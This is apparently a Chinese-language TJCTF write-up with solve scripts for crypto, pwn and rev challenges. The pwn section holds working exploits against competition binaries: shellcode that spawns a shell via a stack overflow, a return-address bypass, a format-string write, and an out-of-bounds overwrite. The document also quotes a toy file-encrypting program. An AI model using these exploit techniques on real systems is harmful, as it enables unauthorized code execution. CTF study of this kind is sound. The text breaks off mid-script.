三块没有一个通关的。rev差两个,crypto.pwn都差一题
Crypto
baby-rsa
给出n,e,c其中e=3,c明显小于n,这个一看就是n给大了e给小了,结果乘幂后还是比n小,直接开根号
n = 10888751337932558679268839254528888070769213269691871364279830513893837690735136476085167796992556016532860022833558342573454036339582519895539110327482234861870963870144864609120375793020750736090740376786289878349313047032806974605398302398698622431086259032473375162446051603492310000290666366063094482985737032132318650015539702912720882013509099961316767073167848437729826084449943115059234376990825162006299979071912964494228966947974497569783878833130690399504361180345909411669130822346252539746722020515514544334793717997364522192699435604525968953070151642912274210943050922313389271251805397541777241902027
e = 3
c = 2449457955338174702664398437699732241330055959255401949300755756893329242892325068765174475595370736008843435168081093064803408113260941928784442707977000585466461075146434876354981528996602615111767938231799146073229307631775810351487333
iroot(c,3)
#tjctf{13480003234703410053450996463993016282899173891711201866423770445454703509988477}
ezdlp
dlp入门,没有任何弯,直接取对数
g = 8999
s = 11721478752747238947534577901795278971298347908127389421908790123
p = 12297383901740584470151577318651150337988716807049317851420298478128932232846789427512414204247770572072680737351875225891650166807323215624748551744377958007176198392481481171792078565005580006750936049744616851983231170824931892761202881982041842121034608612146861881334101500003915726821683000760611763097
g^x = s mod p
flag = tjctf{x}
x = discrete_log(s,mod(g,p))
#tjctf{26104478854569770948763268629079094351020764258425704346666185171631094713742516526074910325202612575130356252792856014835908436517926646322189289728462011794148513926930343382081388714077889318297349665740061482743137948635476088264751212120906948450722431680198753238856720828205708702161666784517}
iheartrsa
给了远程代码,这里e没有给出,是说当乘幂大于n时即可。
#!/usr/local/bin/python3.10 -u
import ast
import sys
import select
from Crypto.Util import number
import hashlib
with open('flag.txt') as f:
flag = f.readline()
raw_bin = str(
bin(int('0x'+str(hashlib.sha256(flag.encode('utf-8')).hexdigest()), 16))[2:])
hsh = int('0b1' + '0' * (256 - len(raw_bin)) + raw_bin, 2)
p = number.getPrime(1024)
q = number.getPrime(1024)
n = p * q
e = 0
for i in range(0, 100):
if pow(hsh, i) >= n:
e = i
break
m = pow(hsh, e, n)
print(f'm: {m}')
print(f'n: {n}')
def input_with_timeout(prompt, timeout):
sys.stdout.write(prompt)
sys.stdout.flush()
ready, _, _ = select.select([sys.stdin], [], [], timeout)
if ready:
return sys.stdin.readline().rstrip('\n')
raise Exception
try:
answer = input_with_timeout('', 20)
try:
answer = ast.literal_eval(answer)
if hsh == answer:
print('you love rsa so i <3 you :DD')
print(flag)
else:
print("im upset")
except Exception as e:
print("im very upset")
except Exception as e:
print("\nyou've let me down :(")
flag是用的sha256加密,结果是256位前边加1位是256位,也就是e=8时刚大于n的2048位,而且大出的很小不超过8位。可以直接+n开根号爆破
from pwn import *
context.log_level = 'debug'
io = remote('tjc.tf', 31628)
io.recvuntil(b'm: ')
m = eval(io.recvline())
io.recvuntil(b'n: ')
n = eval(io.recvline())
e = 8
while True:
m += n
v = iroot(m,8)
if v[1]:
io.sendline(str(v[0]).encode())
io.recvline()
print(io.recvline())
break
#tjctf{iloversaasmuchasilovemymom0xae701ebb}
squishy
rsa验证的题,题目有漏洞,就是输入\x00开头的串转比较时会与原串不同,但是转整后相同。直接绕过即可
#!/usr/local/bin/python3.10 -u
import sys
import select
from Crypto.Util.number import bytes_to_long, getPrime
def input_with_timeout(prompt, timeout=10):
sys.stdout.write(prompt)
sys.stdout.flush()
ready, _, _ = select.select([sys.stdin], [], [], timeout)
if ready:
return sys.stdin.buffer.readline().rstrip(b'\n')
raise Exception
def sign(a):
return pow(bytes_to_long(a), d, n)
def check(a, s):
return bytes_to_long(a) == pow(s, e, n)
e = 65537
users = {b"admin"}
p = getPrime(1000)
q = getPrime(1000)
n = p * q
d = pow(e, -1, (p - 1) * (q - 1))
print(n)
while True:
cmd = input("Cmd: ")
if cmd == "new":
name = input_with_timeout("Name: ")
if name not in users:
users.add(name)
print(name, sign(name))
else:
print("Name taken...")
elif cmd == "login":
name = input_with_timeout("Name: ")
sig = int(input_with_timeout("Sign: ").decode())
if check(name, sig) and name in users:
if name == b"admin":
print("Hey how'd that happen...")
print(open("flag.txt", "r").read())
else:
print("No admin, no flag")
else:
print("Invalid login.")
else:
print("Command not recognized...")
from pwn import *
p = remote('tjc.tf', 31358)
context.log_level = 'debug'
p.sendlineafter(b"Cmd: ", b'new')
p.sendlineafter(b"Name: ", b'\x00admin')
enc = int(p.recvline().decode().split(' ')[1])
p.sendlineafter(b"Cmd: ", b'login')
p.sendlineafter(b"Name: ", b'admin')
p.sendlineafter(b"Sign: ", str(enc).encode())
p.recvline()
print(p.recvline())
p.interactive()
#tjctf{sQuIsHy-SqUiShY-beansbeansbeans!!!!!!}
e
低加密指数,部分明文已知的板子题(给出的是sage代码^表示乘幂不是异或)
from Crypto.Util.number import bytes_to_long
p = random_prime(2 ^ 650)
q = random_prime(2 ^ 650)
N = p*q
e = 5
flag = open("flag.txt", "rb").read().strip()
m = bytes_to_long(b'the challenges flag is ' + flag)
c = m ^ e % N
print("N: ", N)
print("C: ", c)
print("e: ", e)
前边调用了个板子存的函数,由于flag长度未知,这里直接爆破出结果,一般flag不会太长
def coppersmith_howgrave_univariate(pol, modulus, beta, mm, tt, XX):
"""
Coppersmith revisited by Howgrave-Graham
finds a solution if:
* b|modulus, b >= modulus^beta , 0 < beta <= 1
* |x| < XX
"""
#
# init
#
dd = pol.degree()
nn = dd * mm + tt
#
# checks
#
if not 0 < beta <= 1:
raise ValueError("beta should belongs in (0, 1]")
if not pol.is_monic():
raise ArithmeticError("Polynomial must be monic.")
#
# calculate bounds and display them
#
# Coppersmith revisited algo for univariate
#
# change ring of pol and x
polZ = pol.change_ring(ZZ)
x = polZ.parent().gen()
# compute polynomials
gg = []
for ii in range(mm):
for jj in range(dd):
gg.append((x * XX)**jj * modulus**(mm - ii) * polZ(x * XX)**ii)
for ii in range(tt):
gg.append((x * XX)**ii * polZ(x * XX)**mm)
# construct lattice B
BB = Matrix(ZZ, nn)
for ii in range(nn):
for jj in range(ii+1):
BB[ii, jj] = gg[ii][jj]
# LLL
BB = BB.LLL()
# transform shortest vector in polynomial
new_pol = 0
for ii in range(nn):
new_pol += x**ii * BB[0, ii] / XX**ii
# factor polynomial
potential_roots = new_pol.roots()
print("potential roots:", potential_roots)
return potential_roots
N = 853008036761402960429244085500226305898326229049062709229066738337581395441559298620215547481097485360068401045559533084692445386310317304293873811639421668853703030998563380404046228010704173349786419154143323587451196441095743638783569173579503503557413613700490069592150975220823978641111437607374483116682547794651693986279540940965888470663234601045413512056249535670198419685119952947
c = 298700332507654723773580072855784292117810966958600234446114828082727445272393622869719877676272804981941548843479760604983256960593285221389548684954375981617049731866256547635842115184695147132731165168615990125469633018271766466825307769730709868985624843944432541800012321786587028293887532995722347604510229248766961319729482167555605707032678858635163105035385522888663577785577519392
e = 5
from gmpy2 import iroot
from Crypto.Util.number import long_to_bytes ,bytes_to_long
m = bytes_to_long(b'the challenges flag is ')
for i in range(5,80): #爆破flag长度
P.<x> = PolynomialRing(Zmod(N))
f = (m*2^(i*8) + x)^e - c
dd = f.degree()
beta = 1
epsilon = 0.05 #beta / 7
mm = ceil(beta**2 / (dd * epsilon))
tt = floor(dd * mm * ((1/beta) - 1))
XX = ceil(N**((beta**2/dd) - epsilon))
roots = coppersmith_howgrave_univariate(f, N, beta, mm, tt, XX)
print(i, roots)
#tjctf{coppersword2}
merky-hell
这里代码给了很长,实际上就是个背包加密,原理是背包问题,解法是格基规约。标准的板子题,不加修饰的。加了修饰拐了任何一个弯板子人就不会了。
from math import gcd
import secrets
from Crypto.Util.number import *
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad
n = 48
with open('flag.txt', 'rb') as f:
flag = f.read()
def randint(a, b):
return int(secrets.randbelow(int(b-a + 1)) + a) #[a,b]
def makeKey():
W = []
s = 0
for i in range(n):
curr = 0
if i != 0:
curr = randint((2**i - 1) * 2**n + 1, 2**(i+n))
else:
curr = randint(1, 2**n)
assert s < curr
s += curr
W.append(curr)
q = randint((1 << (2 * n + 1)) + 1, (1 << (2 * n + 2)) - 1)
r = randint(2, q - 2)
r //= gcd(r, q)
B = []
for w in W:
B.append((r * w) % q)
return B, (W, q, r)
def encrypt(public, m):
return sum([public[i] * ((m >> (n - i - 1)) & 1) for i in range(n)]) #高位在前
pub, _ = makeKey()
sup_sec_num = secrets.randbits(n)
msg = encrypt(pub, sup_sec_num)
iv = secrets.token_bytes(16)
key = pad(long_to_bytes(sup_sec_num), 16)
cipher = AES.new(key, AES.MODE_CBC, iv=iv)
ct = cipher.encrypt(pad(flag, 16))
print('B =', pub)
print('msg =', msg)
print('iv =', iv.hex())
print('ct =', ct.hex())
直接套用,最后AES解密
B = [243873082678558120886143238109, 140121004360885317204645106697, 65971149179852778782856023084, 198367501585318217337192915461, 90780110766692265488675597096, 204457189038632581915443073067, 11843936715392553537334014601, 249714131767678082951811660354, 46864685536820768096162079781, 270615453249669076126135660113, 62422813932318315478542903448, 54340894478463039745320012710, 82166063070770734716784239617, 123360554027599432641005228613, 225930829813243714315757104718, 140931881774215407739681383827, 153511648985484571193029079380, 128333502017904902954574343976, 157971994970491620681977801348, 151995940102680832680366775791, 111930343189002833676566713355, 254629522353980890137482003596, 46122603870700121747541022366, 106621126674742413122499956117, 213619593425584289387962971025, 250029395347234943835276840576, 90157964719511330175905946756, 160955342950540531541477834386, 62686435507426271661129199824, 48684199759430660574537497320, 262348080860779266021957164776, 123406793114541556721282454859, 8323348282744522342656453505, 8204832183897468999773786370, 117068364683450498818799008726, 22742733514396961388718208907, 152588763365550382579175625426, 18880903696373297518512895359, 168999842801038138048571134864, 251946102324340921852977277387, 62739530425883979430660351271, 26189963743964979633698113800, 149052997409450695582768647188, 161035032125544665156226726161, 170005203789455944372862796495, 127446446141939678833034246067, 66890847724290458515749208331, 230355717600508139033028789245]
msg = 4096661050207034370558640511465
iv = bytes.fromhex('c3599b694d81ca069cefdbd7c8f06812')
ct = bytes.fromhex('8e291e6ea5eb6f186949c8d25c5e6dc30c1869a7abf1078d26792dc846f2ffb9b5793fe92036fe55c9f8a6c61f4f516e')
#背包问题
nbits = 48
A = Matrix(ZZ, nbits + 1, nbits + 1)
for i in range(nbits):
A[i, i] = 1
A[i, nbits] = B[i]
A[nbits,nbits] = -int(msg)
res = A.LLL()
#搜索验证
for i in range(0, nbits + 1):
# print solution
M = res.row(i).list()
flag = True
for m in M:
if m != 0 and m != 1:
flag = False
break
if flag:
print(i, M)
M = ''.join(str(j) for j in M)
# remove the last bit
M = M[:-1] #矩阵是n+1行,结果是n+1个值,最后一个去掉
m = int(M, 2)
print(m)
# [1, 1, 0, 1, 0, 1, 0, 0, 0, 0, 1, 0, 1, 1, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 1, 1, 0, 1, 1, 0, 0, 1, 1, 0, 0, 1, 0, 1, 1, 1, 0, 1, 0, 0, 0, 0]
#233294031172328
from Crypto.Util.number import long_to_bytes
from Crypto.Util.Padding import pad
from Crypto.Cipher import AES
sup_sec_num = 233294031172328
key = pad(long_to_bytes(sup_sec_num), 16)
cipher = AES.new(key, AES.MODE_CBC, iv=iv)
flag = cipher.decrypt(ct)
#tjctf{knaps4ck-rem0v4L0-CreEEws1278bh}
keysmith
这个第一天给难住了,第二天突然想到解法
#!/usr/local/bin/python3.10 -u
from Crypto.Util.number import getPrime
flag = open("flag.txt", "r").read()
po = getPrime(512)
qo = getPrime(512)
no = po * qo
eo = 65537
msg = 762408622718930247757588326597223097891551978575999925580833
s = pow(msg,eo,no)
print(msg,"\n",s)
try:
p = int(input("P:"))
q = int(input("Q:"))
e = int(input("E:"))
except:
print("Sorry! That's incorrect!")
exit(0)
n = p * q
d = pow(e, -1, (p-1)*(q-1))
enc = pow(msg, e, n)
dec = pow(s, d, n)
if enc == s and dec == msg:
print(flag)
else:
print("Not my keys :(")
题目随机取两个素数对msg加密得到s,都给出但n没给。要求给出任意的p,q,e然后能用明文加密成密文,并能从密文解密出明文。虽然能加密解密但并不是说就是原来的p,q,e只是这个给出的点重合。
虽然题目给的 rsa加密,但不是rsa问题是dlp问题,也就是要找一个p让它对密文取对数得到e,但并不是任何素数取对数都能成功,这个要求p-1光滑,非常光滑,越滑越好。前几天一个题就是这个光滑数是4096位的,这里需要个1024+的即可。用前几天看的wp的方法用一个小素数左移然后加1,这个数减1后的因子基本全是2,小素数也很小,所以可对。
第二是要求e有逆,这个没好办法,因为生成的素数因子大多是2,所以与e有公因子也正常,爆破一个gcd==1的即可。
另外就是题目要求两个素数,对于s = m^e%n来说%p也成立,但反过来不一定成立,不过大概率成立。所以这个q要爆破一下,一般爆破几个就能成功。我试着第1个就成了。
from pwn import *
from Crypto.Util.number import isPrime
from sage.all import *
io = remote('tjc.tf', 31103)
context.log_level = 'debug'
msg = eval(io.recvline())
s = eval(io.recvline())
#get p
for j in range(3,0x1000000):
p = j*(17<<1020)+1 #p-1光滑
if is_prime(p):
print(j)
try:
e = discrete_log(s,mod(msg,p))
if gcd(e, p-1) == 1:
print('p:', p)
print('e:', e)
break
except:
continue
for j in range(3,0x10000,2):
if isPrime(j):
if pow(msg,e,j*p) == s and gcd(e, j-1)==1:
print('q:',j)
q = j
break
io.sendlineafter(b"P:", str(p).encode())
io.sendlineafter(b"Q:", str(q).encode())
io.sendlineafter(b"E:", str(e).encode())
io.recvline()
io.recvline()
io.interactive()
'''
762408622718930247757588326597223097891551978575999925580833
43702436509757326336438182135857400078603716426818931981925422334067838750896722688201044956327747464145436722723554375647305025202152215596641401129632173370466702832252018951311505962855126544117103589396071853249012072937973506348718307149005393560408005764979480512336133384533240629952292002964632084304
167129283631730932046708841956167143203546297261042564183892028576329597037926676662439912510675756144635105872692936012198406113194652953723819095672636100007456088418429630842812219785533478126679038057016528800716718212490258460120278594955925322050302427902076324144950955208430361252151620337697520877568001
3
46351245749787152661103940395995082654632344613868677972472440339907438040457429422805634442629497653113554165470202695931851696141959731450191263015553586726010171368142146952569468957017122829829141545814345050784099324975063078677418067737568349822363430089878772306354398776639089550850223383829186997191661
b'tjctf{lock-smith_289378972359}'
'''
aluminum-isopropoxide
给了程序加密原码和3个密文(哪个感觉未知)
#include <iostream>
#include <cinttypes>
#include <string>
#include <filesystem>
#include <fstream>
#include <sys/stat.h>
#include <vector>
#include <cstring>
using namespace std;
using namespace std::filesystem;
typedef uint8_t Byte;
void make_key(Byte *S, const std::string &key)
{
for (int i = 0; i < 255; i++)
S[i] = i;
Byte j = 0;
for (int i = 0; i < 255; i++)
{
j = (j ^ S[i] ^ key[i % key.length()]) % 256;
std::swap(S[i], S[j]);
}
}
Byte S_box[256] = {24, 250, 101, 19, 98, 246, 141, 58, 129, 74, 227, 160, 55, 167, 62, 57, 237, 156, 32, 46, 90, 67, 22, 3, 149, 212, 36, 210, 27, 99, 168, 109, 125, 52, 173, 184, 214, 86, 112, 70, 5, 252, 6, 170, 30, 251, 103, 43, 244, 213, 211, 198, 16, 242, 65, 118, 68, 233, 148, 18, 61, 17, 48, 80, 187, 206, 72, 171, 234, 140, 116, 35, 107, 130, 113, 199, 51, 114, 232, 134, 215, 197, 31, 150, 247, 79, 26, 110, 142, 29, 9, 117, 248, 186, 105, 120, 15, 179, 207, 128, 10, 254, 83, 222, 178, 123, 100, 39, 228, 84, 93, 97, 60, 94, 180, 146, 185, 38, 203, 235, 249, 89, 226, 1, 106, 12, 216, 221, 8, 45, 13, 2, 14, 75, 49, 33, 127, 163, 111, 85, 255, 253, 166, 151, 40, 23, 194, 34, 139, 95, 145, 193, 159, 133, 69, 245, 196, 102, 91, 11, 157, 96, 47, 152, 154, 59, 181, 28, 126, 200, 158, 88, 224, 231, 41, 190, 240, 191, 188, 143, 164, 189, 217, 54, 66, 241, 209, 104, 78, 87, 82, 230, 182, 220, 53, 147, 21, 136, 76, 0, 115, 169, 71, 44, 223, 175, 92, 25, 177, 64, 201, 77, 138, 144, 204, 229, 81, 20, 183, 205, 124, 243, 4, 172, 174, 108, 132, 176, 135, 161, 162, 7, 236, 195, 238, 56, 42, 131, 218, 155, 121, 153, 239, 50, 219, 225, 37, 202, 63, 137, 192, 208, 119, 122, 165, 73};
void enc(Byte *S, Byte *out, int amount)
{
Byte i = 0;
Byte j = 0;
int ctr = 0;
while (ctr < amount)
{
i = (i * j) % 256;
j = (i + S[j]) % 256;
// std::swap(S[i],S[j]);
Byte K = (S[i] & S[j]);
out[ctr] ^= S_box[K];
ctr++;
}
}
Byte key[256];
int main()
{
std::string path = current_path();
std::vector<std::string> files;
for (const auto &file : directory_iterator(path))
files.push_back(std::string(file.path()));
for (const auto &file : files)
{
std::cout << file << "\n";
struct stat results;
std::ifstream in(file);
std::ofstream out(file + ".enc", std::ofstream::binary);
if (stat(file.c_str(), &results) == 0)
{
uint8_t *buffer = new uint8_t[results.st_size];
in.read((char *)buffer, results.st_size);
make_key(key, std::to_string(rand()));
enc(key, buffer, results.st_size);
out.write((char *)buffer, results.st_size);
delete[] buffer;
}
in.close();
out.close();
}
return 0;
}
看上去像RC4加密,不过加密流交换那步给干掉了,也就是加密流生成以后不再变。不过这似乎没关系。
用python重写一下,试3个文件(文件先后顺序不详,只能都试一下)
'''
make_key(Byte *S, const std::string &key)
{
for (int i = 0; i < 255; i++)
S[i] = i;
Byte j = 0;
for (int i = 0; i < 255; i++)
{
j = (j ^ S[i] ^ key[i % key.length()]) % 256;
std::swap(S[i], S[j]);
}
}
'''
def make_key(key):
S = [i for i in range(256)]
#S[255]=0
j = 0
for i in range(256):
j = (j^S[i]^key[i%len(key)])%256
S[i],S[j] = S[j],S[i]
return S
'''
void enc(Byte *S, Byte *out, int amount)
{
Byte i = 0;
Byte j = 0;
int ctr = 0;
while (ctr < amount)
{
i = (i * j) % 256;
j = (i + S[j]) % 256;
// std::swap(S[i],S[j]);
Byte K = (S[i] & S[j]);
out[ctr] ^= S_box[K];
ctr++;
}
}
'''
def enc(S, c):
i,j,ctr = 0,0,0
out = list(c)
for _ in range(len(c)):
i = (i*j)%256
j = (i + S[j])%256
K = (S[i]&S[j])
out[ctr] ^= S_box[K]
ctr +=1
print(bytes(out))
rand = [1804289383,846930886,1681692777] #未置种子,前3个值为
S_box = [24, 250, 101, 19, 98, 246, 141, 58, 129, 74, 227, 160, 55, 167, 62, 57, 237, 156, 32, 46, 90, 67, 22, 3, 149, 212, 36, 210, 27, 99, 168, 109, 125, 52, 173, 184, 214, 86, 112, 70, 5, 252, 6, 170, 30, 251, 103, 43, 244, 213, 211, 198, 16, 242, 65, 118, 68, 233, 148, 18, 61, 17, 48, 80, 187, 206, 72, 171, 234, 140, 116, 35, 107, 130, 113, 199, 51, 114, 232, 134, 215, 197, 31, 150, 247, 79, 26, 110, 142, 29, 9, 117, 248, 186, 105, 120, 15, 179, 207, 128, 10, 254, 83, 222, 178, 123, 100, 39, 228, 84, 93, 97, 60, 94, 180, 146, 185, 38, 203, 235, 249, 89, 226, 1, 106, 12, 216, 221, 8, 45, 13, 2, 14, 75, 49, 33, 127, 163, 111, 85, 255, 253, 166, 151, 40, 23, 194, 34, 139, 95, 145, 193, 159, 133, 69, 245, 196, 102, 91, 11, 157, 96, 47, 152, 154, 59, 181, 28, 126, 200, 158, 88, 224, 231, 41, 190, 240, 191, 188, 143, 164, 189, 217, 54, 66, 241, 209, 104, 78, 87, 82, 230, 182, 220, 53, 147, 21, 136, 76, 0, 115, 169, 71, 44, 223, 175, 92, 25, 177, 64, 201, 77, 138, 144, 204, 229, 81, 20, 183, 205, 124, 243, 4, 172, 174, 108, 132, 176, 135, 161, 162, 7, 236, 195, 238, 56, 42, 131, 218, 155, 121, 153, 239, 50, 219, 225, 37, 202, 63, 137, 192, 208, 119, 122, 165, 73]
for i in range(3):
S = make_key(str(rand[i]).encode())
enc(S, open('flag.txt.enc', 'rb').read())
enc(S, open('flag1.txt.enc', 'rb').read())
enc(S, open('flag2.txt.enc', 'rb').read())
'''
b"\x81\xca\xa0\x8f\xcd\x8c'\xcfL\x831\xa6[\xcf\xcc>EOx\x95A\xfb@cf_v\xf4\xb7\x9fnWs\xf5"
b'c\xc6\xe2\x008\x18\xb4\x83=\x10\xa4)\x83\xa5\xb7\xd2\x85\x83:`\xaf\xfb\x8c\xb7\x17_@\xac\xcc\x91\x0f\xbe\tj'
b'\xddt\xfd\x1f[\x03\xaft\xde\xfe=Np\xbe\xd4\xa9g\xf4@\x93\\t\x97H\xe0\xaa][\xaf\xf4\xf8\xa9\x14\x88'
b'\x817\xdf\xae\xe4\x85\xf5\xc3\xf3H\xca\x19w\xe0\x8a\x92R\x1d\xa2<5t\xfc\x04>\xd2\x95\xdd\x98E\x15\x8d\xc2['
b'c;\x9d!\x11\x11f\x8f\x82\xdb_\x96\xaf\x8a\xf1~\x92\xd1\xe0\xc9\xdbt0\xd0O\xd2\xa3\x85\xe3Ktd\xb8\xc4'
b"\xdd\x89\x82>r\n}xa5\xc6\xf1\\\x91\x92\x05p\xa6\x9a:(\xfb+/\xb8'\xber\x80.\x83s\xa5&"
b'\x96f!\xfb\x93\xef\xf5 \x10\xf4\xca\xfa\xb6\x0e\x1e\x9e\x9f\xa1-\x80\x80t\xad\xbd\x1f_Y>$j\x14\x9a\x0e\xe2'
b'tjctf{flag_under_mountain_of_dust}'
b'\xca\xd8|k\x05`}\x9b\x82\x89\xc6\x12\x9d\x7f\x06\t\xbd\x1a\x15\x86\x9d\xfbz\x96\x99\xaar\x91<\x01\x82di\x9f'
'''
PWN
flip-out
flag.txt已经准备好了,就在128字节后,要求输入东西显示,这里输入够长自然就出来了
int __cdecl main(int argc, const char **argv, const char **envp)
{
int v4; // [rsp+4h] [rbp-BCh]
FILE *stream; // [rsp+8h] [rbp-B8h]
char nptr[46]; // [rsp+10h] [rbp-B0h] BYREF
__int16 v7; // [rsp+3Eh] [rbp-82h]
__int64 v8; // [rsp+40h] [rbp-80h]
__int64 v9; // [rsp+48h] [rbp-78h]
__int64 v10; // [rsp+50h] [rbp-70h]
__int64 v11; // [rsp+58h] [rbp-68h]
__int64 v12; // [rsp+60h] [rbp-60h]
__int64 v13; // [rsp+68h] [rbp-58h]
__int64 v14; // [rsp+70h] [rbp-50h]
__int64 v15; // [rsp+78h] [rbp-48h]
__int64 v16; // [rsp+80h] [rbp-40h]
__int64 v17; // [rsp+88h] [rbp-38h]
__int64 v18[6]; // [rsp+90h] [rbp-30h] BYREF
v18[5] = __readfsqword(0x28u);
setbuf(_bss_start, 0LL);
strcpy(nptr, "Nothing to see here... Nothing to see here...");
v7 = 0;
v8 = 0LL;
v9 = 0LL;
v10 = 0LL;
v11 = 0LL;
v12 = 0LL;
v13 = 0LL;
v14 = 0LL;
v15 = 0LL;
v16 = 0LL;
v17 = 0LL;
memset(v18, 0, 25);
stream = fopen("flag.txt", "r");
if ( stream )
{
fgets((char *)v18, 25, stream);
fclose(stream);
printf("Input: ");
__isoc99_scanf("%15s", nptr);
v4 = atoi(nptr);
if ( v4 <= 128 )
printf("%s", &nptr[(unsigned __int8)v4]); // 输入128即可
return 0;
}
else
{
printf("Cannot find flag.txt.");
return 1;
}
}
shelly
栈深256读入512,明显有溢出,给出栈地址,没有加载地址和libc只能用栈的话就是栈可执行,看了题确实可执行。return位置写上栈地址跳过去执行就行。
唯一的卡就就是一个检查,不过可以用第1字节是0绕过
int __cdecl main(int argc, const char **argv, const char **envp)
{
char s[256]; // [rsp+0h] [rbp-100h] BYREF
setbuf(stdout, 0LL);
printf("0x%lx\n", s);
fgets(s, 512, stdin);
for ( i = 0; i <= 510 && s[i]; ++i ) // 0绕过
{
if ( s[i] == 15 && s[i + 1] == 5 )
{
puts("nonono");
exit(1);
}
}
puts("ok");
return 0;
}
from pwn import *
#p = process('./chall')
p = remote('tjc.tf', 31365)
context(arch='amd64', log_level='debug')
#gdb.attach(p, "b*0x401255")
p.recvuntil(b'0x')
s_addr = int(p.recvline(), 16)
pay = b'\x00'+ asm(shellcraft.sh())
pay = pay.ljust(0x108, b'\x90') + p64(s_addr+1)
p.sendline(pay)
p.interactive()
#tjctf{s4lly_s3lls_s34sh3lls_50973fce}
groppling-hook
给了原码,有后门win
#include "stdio.h"
#include <stdlib.h>
void laugh()
{
printf("ROP detected and denied...\n");
exit(2);
}
void win()
{
FILE *fptr;
char buf[28];
// Open a file in read mode
fptr = fopen("flag.txt", "r");
fgets(buf, 28, fptr);
puts(buf);
}
void pwnable()
{
char buffer[10];
printf(" > ");
fflush(stdout);
read(0, (char *)buffer, 56);
/* Check ret */
__asm__ __volatile__("add $0x18, %rsp;"
"pop %rax;"
"cmp $0x0401262, %rax;"
"jle EXIT;"
"cmp $0x040128a, %rax;"
"jg EXIT;"
"jmp DONE;"
"EXIT:"
"call laugh;"
"DONE: push %rax;");
return;
}
int main()
{
setbuf(stdout, NULL);
pwnable();
return 0;
}
代码里边有数据检查(汇编部分),要求return位置只能在main范围内,所以这里改成main最后的ret在后边再写后门。
from pwn import *
#p = process('./out')
p = remote('tjc.tf', 31080)
context(arch='amd64', log_level='debug')
#gdb.attach(p, "b*0x401255")
pay = b'\x00'*18 + flat(0x40128a, 0x4011b3) #ret绕过检查,再到后门
p.sendafter(b" > ", pay)
p.recvline()
p.interactive()
formatter
看名字是格式化字符串漏洞
在堆里建块,然后对块内内容检查,通过就给flag,在输入时有printf格式化字符串漏洞。
先修改堆指针,然后在修改后的位置写上指定值,他会执行一个+2,这个不好绕过,就在输入的时候先减2
int __cdecl main(int argc, const char **argv, const char **envp)
{
char s[268]; // [rsp+0h] [rbp-110h] BYREF
int i; // [rsp+10Ch] [rbp-4h]
setbuf(_bss_start, 0LL);
xd = calloc(1uLL, 4uLL); // 403440
printf("give me a string (or else): ");
fgets(s, 256, stdin);
printf(s);
r1(s[0]);
if ( win() ) // xd = 141191486
{
for ( i = 0; i <= 255; ++i )
putchar(among[i]);
}
free(xd);
return 0;
}
from pwn import *
#p = process('./format')
p = remote('tjc.tf', 31764)
context(arch='amd64', log_level='debug')
pay = fmtstr_payload(6,{0x403440 : 0x403448, 0x403448: 141191486-2}, write_size = "byte", numbwritten = 0)
#gdb.attach(p, "b*0x4013ad\nc")
p.sendlineafter(b"give me a string (or else): ", pay)
p.recv()
p.interactive()
teenage-game
一个游戏,用wasd先择上左下右l读入当前显示的字符。但走过之后会改为点。其实就是只能改1位,等下一轮转回来就又改回来了。
int __cdecl main(int argc, const char **argv, const char **envp)
{
char v3; // al
int v5[2]; // [rsp+8h] [rbp-A98h] BYREF
char v6[2704]; // [rsp+10h] [rbp-A90h] BYREF
setup_terminal();
setvbuf(stdout, stdout_buf, 0, 0x1000uLL);
init_player(v5); // 初始值4行4列
init_map((__int64)v6, v5);
print_map((__int64)v6);
signal(2, sigint_handler);
while ( v5[0] != 29 || v5[1] != 89 )
{
v3 = getchar();
move_player(v5, v3, (__int64)v6);
print_map((__int64)v6);
}
puts("You win!");
return 0;
}
int __fastcall move_player(int *op, char input_c, __int64 map)
{
__int64 v3; // rax
if ( input_c == 'l' )
{
LODWORD(v3) = getchar();
player_tile = v3;
}
else
{
*(_BYTE *)(map + 90LL * *op + op[1]) = 0x2E;
switch ( input_c )
{
case 'w':
--*op;
break;
case 's':
++*op;
break;
case 'a':
--op[1];
break;
case 'd':
++op[1];
break;
}
v3 = op[1];
*(_BYTE *)(90LL * *op + map + v3) = player_tile;
}
return v3;
}
由于边界没有限制可以越界,当向上到0再往上走时就与move_player的返回地址重合了,算好偏移后把这里的尾字符改为后门(两个正好只关1字节),不能直着走过去,只能从下方调后,点上,就执行了。
from pwn import *
#p = process('./game')
p = remote('tjc.tf', 31119)
context(arch='amd64', log_level='debug')
#gdb.attach(p)
#pause()
pay = b'w'*4 + b'd'*62 + b'l\xe7w'
p.send(pay)
#p.recvline()
p.interactive()
'''
0x00007ffc99076a00│+0x0000: 0x00007fbd287df040 → 0x00007fbd287e02e0 → 0x0000563b8b9c9000 → 0x00010102464c457f ← $rsp
0x00007ffc99076a08│+0x0008: 0x00007ffc99076a40 → "..................................................[...]"
0x00007ffc99076a10│+0x0010: 0x0000007700000000
0x00007ffc99076a18│+0x0018: 0x00007ffc99076a38 → 0x00000042ffffffff
0x00007ffc99076a20│+0x0020: 0x00007ffc990774d0 → 0x0000000000000001 ← $rbp
0x00007ffc99076a28│+0x0028: 0x0000563b8b9ca3df → <win+0> endbr64
0x00007ffc99076a30│+0x0030: 0x0000000000000350
0x00007ffc99076a38│+0x0038: 0x00000042ffffffff ← $rdi
'''
REV
wtmoo
给了密文,对小写大写数字分别作相应处理。
int __cdecl main(int argc, const char **argv, const char **envp)
{
int i; // [rsp+8h] [rbp-58h]
int v5; // [rsp+Ch] [rbp-54h]
char s[32]; // [rsp+10h] [rbp-50h] BYREF
char dest[40]; // [rsp+30h] [rbp-30h] BYREF
unsigned __int64 v8; // [rsp+58h] [rbp-8h]
v8 = __readfsqword(0x28u);
printf("Enter text: ");
fgets(s, 32, _bss_start);
s[strlen(s) - 1] = 0;
strcpy(dest, s);
v5 = strlen(s);
for ( i = 0; i < v5; ++i )
{
if ( s[i] <= 96 || s[i] > 122 )
{
if ( s[i] <= 64 || s[i] > 90 )
{
if ( s[i] <= 47 || s[i] > 52 )
{
if ( s[i] <= 52 || s[i] > 57 )
{
if ( s[i] != 123 && s[i] != 125 )
{
puts("wtmoo is this guess???");
printf("%c\n", (unsigned int)s[i]);
return 1;
}
}
else
{
s[i] -= 21;
}
}
else
{
s[i] += 43;
}
}
else
{
s[i] += 32;
}
}
else
{
s[i] -= 60;
}
}
if ( !strcmp(s, flag) )
printf(cow, dest);
else
printf(cow, s);
return 0;
}
没想到好办法逆回,采用直接爆破法
c = b"8.'8*{;8m33[o[3[3[%\")#*\}"
m = ''
for i in range(len(c)):
for k in range(0x20, 0x7f):
j = k
